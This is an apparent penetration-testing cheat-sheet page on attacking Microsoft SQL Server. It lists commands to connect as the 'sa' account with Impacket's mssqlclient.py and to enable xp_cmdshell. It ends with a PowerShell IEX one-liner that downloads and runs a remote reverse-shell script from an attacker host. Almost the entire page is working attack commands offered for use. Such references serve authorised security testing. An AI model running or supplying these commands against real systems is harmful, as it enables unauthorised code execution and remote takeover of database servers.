> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/database-management-system-dbms/sql-stored-procedures.md).

# Microsoft SQL Server

```bash
# Connect to the Microsoft SQL Server using Impacekt's mssqlclient.py:
python3 mssqlclient.py sa@$ip

# Configure xp_cmdshell to be enabled:
sp_configure 'xp_cmdshell', '1'; RECONFIGURE

# Enable code execution using xp_cmdshell:
enable_xp_cmdshell 

# Example of obtaining a reverse shell:
xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://$ip:8080/revshell.ps1\")
```
